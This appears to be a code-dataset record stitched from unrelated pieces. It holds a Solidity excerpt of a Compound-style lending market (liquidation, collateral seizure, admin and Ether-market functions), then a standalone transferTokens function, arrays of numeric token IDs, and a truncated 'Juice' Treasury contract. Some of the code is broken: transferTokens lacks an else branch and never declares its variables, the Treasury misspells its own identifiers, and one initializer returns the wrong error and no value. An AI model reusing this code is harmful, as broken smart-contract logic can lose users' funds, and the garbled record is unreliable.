aTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, aTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this aToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param aTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, AToken aTokenCollateral) internal returns (uint) { /* Fail if liquidate not allowed */ uint allowed = controller.liquidateBorrowAllowed(address(this), address(aTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.LIQUIDATE_CONTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK); } /* Verify aTokenCollateral market's block number equals current block number */ if (aTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX); } /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = controller.liquidateCalculateSeizeTokens(address(this), address(aTokenCollateral), repayAmount); if (amountSeizeError != 0) { return failOpaque(Error.CONTROLLER_CALCULATION_ERROR, FailureInfo.LIQUIDATE_CONTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, amountSeizeError); } /* Fail if seizeTokens > borrower collateral token balance */ if (seizeTokens > aTokenCollateral.balanceOf(borrower)) { return fail(Error.TOKEN_INSUFFICIENT_BALANCE, FailureInfo.LIQUIDATE_SEIZE_TOO_MUCH); } /* Fail if repayBorrow fails */ uint repayBorrowError = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ uint seizeError = aTokenCollateral.seize(liquidator, borrower, seizeTokens); require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, repayAmount, address(aTokenCollateral), seizeTokens); /* We call the defense hook */ controller.liquidateBorrowVerify(address(this), address(aTokenCollateral), liquidator, borrower, repayAmount, seizeTokens); return uint(Error.NO_ERROR); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another aToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed aToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of aTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { /* Fail if seize not allowed */ uint allowed = controller.seizeAllowed(address(this), msg.sender, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_CONTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ controller.seizeVerify(address(this), msg.sender, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) * * TODO: Should we add a second arg to verify, like a checksum of `newAdmin` address? */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new controller for the market * @dev Admin function to set a new controller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setController(ControllerInterface newController) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CONTROLLER_OWNER_CHECK); } ControllerInterface oldController = controller; // Ensure invoke controller.isController() returns true require(newController.isController(), "marker method returned false"); // Set market's controller to newController controller = newController; // Emit NewController(oldController, newController) emit NewController(oldController, newController); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { // TODO: static_assert + no error code? return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { Error err; // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { // TODO: static_assert + no error code? return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) // TODO: I'm following the spec literally here but I think we should we just use SafeMath instead and fail on an error (which would be underflow) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // invoke doTransferOut(reduceAmount, admin) err = doTransferOut(admin, reduceAmount); // we revert on the failure of this command require(err == Error.NO_ERROR, "reduce reserves transfer out failed"); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } function _setInterestRateModel_init(InterestRateModel newInterestRateModel) public returns (uint) { if (msg.sender != admin) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. interestRateModel = newInterestRateModel; _setInterestRateModelFresh(interestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { // TODO: static_assert + no error code? return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Checks whether or not there is sufficient allowance for this contract to move amount from `from` and * whether or not `from` has a balance of at least `amount`. Does NOT do a transfer. */ function checkTransferIn(address from, uint amount) internal view returns (Error); /** * @dev Performs a transfer in, ideally returning an explanatory error code upon failure rather than reverting. * If caller has not called `checkTransferIn`, this may revert due to insufficient balance or insufficient allowance. * If caller has called `checkTransferIn` successfully, this should not revert in normal conditions. */ function doTransferIn(address from, uint amount) internal returns (Error); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal returns (Error); } contract AEther is AToken { /** * @notice Sender supplies assets into the market and receives aTokens in exchange */ function mint() external payable { requireNoError(mintInternal(msg.value), "mint failed"); } /** * @notice Sender redeems aTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of aTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems aTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable { requireNoError(repayBorrowInternal(msg.value), "repayBorrow failed"); } /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable { requireNoError(repayBorrowBehalfInternal(borrower, msg.value), "repayBorrowBehalf failed"); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this aToken to be liquidated * @param aTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, AToken aTokenCollateral) external payable { requireNoError(liquidateBorrowInternal(borrower, msg.value, aTokenCollateral), "liquidateBorrow failed"); } /** * @notice Send Ether to AEther to mint */ function () external payable { requireNoError(mintInternal(msg.value), "mint failed"); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of Ether, before this message * @dev This excludes the value of the current message, if any * @return The quantity of Ether owned by this contract */ function getCashPrior() internal view returns (uint) { (MathError err, uint startingBalance) = subUInt(address(this).balance, msg.value); require(err == MathError.NO_ERROR); return startingBalance; } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 5); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 10 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+4] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } /** * @notice Checks whether the requested transfer matches the `msg` * @dev Does NOT do a transfer * @param from Address sending the Ether * @param amount Amount of Ether being sent * @return Whether or not the transfer checks out */ function checkTransferIn(address from, uint amount) internal view returns (Error) { // Sanity checks require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return Error.NO_ERROR; } /** * @notice Perform the actual transfer in, which is a no-op * @param from Address sending the Ether * @param amount Amount of Ether being sent * @return Success */ function doTransferIn(address from, uint amount) internal returns (Error) { // Sanity checks require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return Error.NO_ERROR; } function doTransferOut(address payable to, uint amount) internal returns (Error) { /* Send the Ether, with minimal gas and revert on failure */ to.transfer(amount); return Error.NO_ERROR; } }
Fail if transfer not allowed */ Do not allow self-transfers */ Eat some of the allowance (if necessary) */
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { uint allowed = controller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.TRANSFER_CONTROLLER_REJECTION, allowed); } if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } if (spender == src) { startingAllowance = uint(-1); startingAllowance = transferAllowances[src][spender]; } uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } return uint(Error.NO_ERROR); }
1,655,547
[ 1, 3754, 309, 7412, 486, 2935, 342, 2256, 486, 1699, 365, 17, 2338, 18881, 342, 512, 270, 2690, 434, 326, 1699, 1359, 261, 430, 4573, 13, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 5157, 12, 2867, 17571, 264, 16, 1758, 1705, 16, 1758, 3046, 16, 2254, 2430, 13, 2713, 1135, 261, 11890, 13, 288, 203, 3639, 2254, 2935, 273, 2596, 18, 13866, 5042, 12, 2867, 12, 2211, 3631, 1705, 16, 3046, 16, 2430, 1769, 203, 3639, 309, 261, 8151, 480, 374, 13, 288, 203, 5411, 327, 2321, 3817, 14886, 12, 668, 18, 6067, 25353, 67, 862, 30781, 3106, 16, 13436, 966, 18, 16596, 6553, 67, 6067, 25353, 67, 862, 30781, 3106, 16, 2935, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 4816, 422, 3046, 13, 288, 203, 5411, 327, 2321, 12, 668, 18, 16234, 67, 15934, 16, 13436, 966, 18, 16596, 6553, 67, 4400, 67, 16852, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 87, 1302, 264, 422, 1705, 13, 288, 203, 5411, 5023, 7009, 1359, 273, 2254, 19236, 21, 1769, 203, 5411, 5023, 7009, 1359, 273, 7412, 7009, 6872, 63, 4816, 6362, 87, 1302, 264, 15533, 203, 3639, 289, 203, 203, 3639, 2254, 1699, 1359, 1908, 31, 203, 3639, 2254, 1705, 5157, 1908, 31, 203, 3639, 2254, 3046, 5157, 1908, 31, 203, 203, 3639, 261, 15949, 2524, 16, 1699, 1359, 1908, 13, 273, 720, 14342, 12, 18526, 7009, 1359, 16, 2430, 1769, 203, 3639, 309, 261, 15949, 2524, 480, 2361, 668, 18, 3417, 67, 3589, 13, 288, 203, 5411, 327, 2321, 12, 668, 18, 49, 3275, 67, 3589, 16, 13436, 966, 18, 16596, 6553, 67, 4400, 67, 16852, 1769, 203, 3639, 289, 203, 203, 3639, 261, 15949, 2524, 16, 1705, 5157, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./lib/Babylonian.sol"; import "./owner/Operator.sol"; import "./utils/ContractGuard.sol"; import "./interfaces/IBasisAsset.sol"; import "./interfaces/IOracle.sol"; import "./interfaces/IBoardroom.sol"; contract Treasury is ContractGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; /* ========= CONSTANT VARIABLES ======== */ uint256 public constant PERIOD = 6 hours; /* ========== STATE VARIABLES ========== */ // governance address public operator; // flags bool public initialized = false; // epoch uint256 public startTime; uint256 public epoch = 0; uint256 public epochSupplyContractionLeft = 0; // exclusions from total supply address[] public excludedFromTotalSupply = [ address(0xB7e1E341b2CBCc7d1EdF4DC6E5e962aE5C621ca5), // JuiceGenesisRewardPool address(0x04b79c851ed1A36549C6151189c79EC0eaBca745) // JuiceRewardPool ]; // core components address public juice; address public jbond; address public juicer; address public boardroom; address public juiceOracle; // price uint256 public juciePriceOne; uint256 public juicePriceCeiling; uint256 public seigniorageSaved; uint256[] public supplyTiers; uint256[] public maxExpansionTiers; uint256 public maxSupplyExpansionPercent; uint256 public bondDepletionFloorPercent; uint256 public seigniorageExpansionFloorPercent; uint256 public maxSupplyContractionPercent; uint256 public maxDebtRatioPercent; // 28 first epochs (1 week) with 4.5% expansion regardless of JUICE price uint256 public bootstrapEpochs; uint256 public bootstrapSupplyExpansionPercent; /* =================== Added variables =================== */ uint256 public previousEpochJuicePrice; uint256 public maxDiscountRate; // when purchasing bond uint256 public maxPremiumRate; // when redeeming bond uint256 public discountPercent; uint256 public premiumThreshold; uint256 public premiumPercent; uint256 public mintingFactorForPayingDebt; // print extra JUICE during debt phase address public daoFund; uint256 public daoFundSharedPercent; address public devFund; uint256 public devFundSharedPercent; /* =================== Events =================== */ event Initialized(address indexed executor, uint256 at); event BurnedBonds(address indexed from, uint256 bondAmount); event RedeemedBonds(address indexed from, uint256 juiceAmount, uint256 bondAmount); event BoughtBonds(address indexed from, uint256 juiceAmount, uint256 bondAmount); event TreasuryFunded(uint256 timestamp, uint256 seigniorage); event BoardroomFunded(uint256 timestamp, uint256 seigniorage); event DaoFundFunded(uint256 timestamp, uint256 seigniorage); event DevFundFunded(uint256 timestamp, uint256 seigniorage); /* =================== Modifier =================== */ modifier onlyOperator() { require(operator == msg.sender, "Treasury: caller is not the operator"); _; } modifier checkCondition() { require(now >= startTime, "Treasury: not started yet"); _; } modifier checkEpoch() { require(now >= nextEpochPoint(), "Treasury: not opened yet"); _; epoch = epoch.add(1); epochSupplyContractionLeft = (getJuicePrice() > juicePriceCeiling) ? 0 : getJuiceCirculatingSupply().mul(maxSupplyContractionPercent).div(10000); } modifier checkOperator() { require( IBasisAsset(juice).operator() == address(this) && IBasisAsset(jbond).operator() == address(this) && IBasisAsset(jucier).operator() == address(this) && Operator(boardroom).operator() == address(this), "Treasury: need more permission" ); _; } modifier notInitialized() { require(!initialized, "Treasury: already initialized"); _; } /* ========== VIEW FUNCTIONS ========== */ function isInitialized() public view returns (bool) { return initialized; } // epoch function nextEpochPoint() public view returns (uint256) { return startTime.add(epoch.mul(PERIOD)); } // oracle function getJuicePrice() public view returns (uint256 juicePrice) { try IOracle(juiceOracle).consult(juice, 1e18) returns (uint144 price) { return uint256(price); } catch { revert("Treasury: failed to consult juice price from the oracle"); } } function getJuiceUpdatedPrice() public view returns (uint256 _juicePrice) { try IOracle(juiceOracle).twap(juice, 1e18) returns (uint144 price) { return uint256(price); } catch { revert("Treasury: failed to consult juice price from the oracle"); } } // budget function getReserve() public view returns (uint256) { return seigniorageSaved; } function getBurnableJuiceLeft() public view returns (uint256 _burnableJuiceLeft) { uint256 _juicePrice = getjuicePrice(); if (_juicePrice <= juicePriceOne) { uint256 _juiceSupply = getJuiceCirculatingSupply(); uint256 _bondMaxSupply = _juiceSupply.mul(maxDebtRatioPercent).div(10000); uint256 _bondSupply = IERC20(jbond).totalSupply(); if (_bondMaxSupply > _bondSupply) { uint256 _maxMintableBond = _bondMaxSupply.sub(_bondSupply); uint256 _maxBurnableJuice = _maxMintableBond.mul(_juicePrice).div(1e18); _burnableJuiceLeft = Math.min(epochSupplyContractionLeft, _maxBurnableJuice); } } } function getRedeemableBonds() public view returns (uint256 _redeemableBonds) { uint256 _juicePrice = getJuicePrice(); if (_juicePrice > juicePriceCeiling) { uint256 _totalJuice = IERC20(juice).balanceOf(address(this)); uint256 _rate = getBondPremiumRate(); if (_rate > 0) { _redeemableBonds = _totalJuice.mul(1e18).div(_rate); } } } function getBondDiscountRate() public view returns (uint256 _rate) { uint256 _juicePrice = getJuicePrice(); if (_juicePrice <= juicePriceOne) { if (discountPercent == 0) { // no discount _rate = juicePriceOne; } else { uint256 _bondAmount = juicePriceOne.mul(1e18).div(_juicePrice); // to burn 1 JUICE uint256 _discountAmount = _bondAmount.sub(juicePriceOne).mul(discountPercent).div(10000); _rate = juicePriceOne.add(_discountAmount); if (maxDiscountRate > 0 && _rate > maxDiscountRate) { _rate = maxDiscountRate; } } } } function getBondPremiumRate() public view returns (uint256 _rate) { uint256 _juicePrice = getJuicePrice(); if (_juicePrice > juicePriceCeiling) { uint256 _juicePricePremiumThreshold = juicePriceOne.mul(premiumThreshold).div(100); if (_juicePrice >= _juicePricePremiumThreshold) { //Price > 1.10 uint256 _premiumAmount = _juicePrice.sub(juicePriceOne).mul(premiumPercent).div(10000); _rate = juicePriceOne.add(_premiumAmount); if (maxPremiumRate > 0 && _rate > maxPremiumRate) { _rate = maxPremiumRate; } } else { // no premium bonus _rate = juicePriceOne; } } } /* ========== GOVERNANCE ========== */ function initialize( address _juice, address _jbond, address _juicer, address _juiceOracle, address _boardroom, uint256 _startTime ) public notInitialized { juice = _juice; jbond = _jbond; juicer = _juicer; juiceOracle = _juiceOracle; boardroom = _boardroom; startTime = _startTime; juicePriceOne = 10**18; // This is to allow a PEG of 1 JUICE per MIM juicePriceCeiling = juicePriceOne.mul(101).div(100); // Dynamic max expansion percent supplyTiers = [0 ether, 10000 ether, 20000 ether, 30000 ether, 40000 ether, 50000 ether, 100000 ether, 200000 ether, 500000 ether]; maxExpansionTiers = [450, 400, 350, 300, 250, 200, 150, 125, 100]; maxSupplyExpansionPercent = 400; // Upto 4.0% supply for expansion bondDepletionFloorPercent = 10000; // 100% of Bond supply for depletion floor seigniorageExpansionFloorPercent = 3500; // At least 35% of expansion reserved for boardroom maxSupplyContractionPercent = 300; // Upto 3.0% supply for contraction (to burn JUICE and mint JBOND) maxDebtRatioPercent = 4000; // Upto 40% supply of JBOND to purchase premiumThreshold = 110; premiumPercent = 7000; // First 14 epochs with 4.5% expansion bootstrapEpochs = 14; bootstrapSupplyExpansionPercent = 450; // set 